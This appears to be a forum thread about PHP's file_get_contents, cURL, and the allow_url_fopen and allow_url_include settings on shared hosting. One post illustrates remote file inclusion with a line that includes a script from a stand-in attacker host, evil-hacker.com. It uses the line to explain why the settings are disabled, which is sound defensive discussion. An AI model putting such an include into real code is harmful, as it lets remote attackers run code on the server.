>file_get_contents only works on external URLS if the fopen_wrapper have been enabled in the PHP.ini. Most the shared hosting I've come across have this disabled, so it would show an error.

Oh, that's a shame. Though there's nothing forcing you to use any particular shared hosts. There are plenty of awful ones, but you don't have to use them.

>cURL is the functions you need to 'get' a URL, not file_get_contents.

Well, many shared hosts have that disabled. ;)

Disabling opening urls in fopen isn't something an awful host does, it's generally considered a smart thing to do. Stops include "http://www.evil-hacker.com/rext.txt";

Or just set 'allow_url_include' to 0, which it is by default, and which won't disable streams for everything else.